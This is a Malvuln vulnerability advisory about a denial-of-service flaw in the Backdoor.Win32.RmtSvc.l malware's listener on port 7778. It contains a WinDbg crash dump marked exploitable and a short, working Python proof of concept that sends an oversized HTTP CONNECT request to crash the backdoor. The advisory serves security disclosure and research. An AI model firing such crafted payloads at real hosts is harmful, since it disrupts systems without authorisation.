Tuesday, September 28, 2021

Backdoor.Win32.RmtSvc.l Denial Of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/38f9ee3ce51ead0ce6bf2edcaa462611.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.RmtSvc.l
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 7778. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP CONNECT request to trigger an access violation and crash.
Type: PE32
MD5: 38f9ee3ce51ead0ce6bf2edcaa462611
Vuln ID: MVID-2021-0348
Disclosure: 09/25/2021

Memory Dump:
(2898.3768): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003
eip=776ced3c esp=0454f08c ebp=0454f21c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
776ced3c c21400 ret 14h

0:004> .ecxr
eax=74006082 ebx=0454fc94 ecx=00000000 edx=00000000 esi=00000000 edi=74006082
eip=004440a8 esp=0454f9cc ebp=74006082 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** WARNING: Unable to verify checksum for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8:
004440a8 c6043e00 mov byte ptr [esi+edi],0 ds:002b:74006082=00

0:004> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8
004440a8 c6043e00 mov byte ptr [esi+edi],0

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004440a8 (Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x000440a8)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 74006082
Attempt to write to address 74006082

PROCESS_NAME: Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 74006082

WRITE_ADDRESS: 74006082

FOLLOWUP_IP:
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8
004440a8 c6043e00 mov byte ptr [esi+edi],0

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00003768

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE

LAST_CONTROL_TRANSFER: from 004484dd to 004440a8

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0454f9d8 004484dd 74006082 00000000 74006082 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8
0454fc94 00000000 00000000 09ac8600 00000000 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x484dd


STACK_COMMAND: ~4s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611

IMAGE_NAME: Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 45b41639

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=7778

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

JUNK="A"*1000
PAYLOAD="CONNECT /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore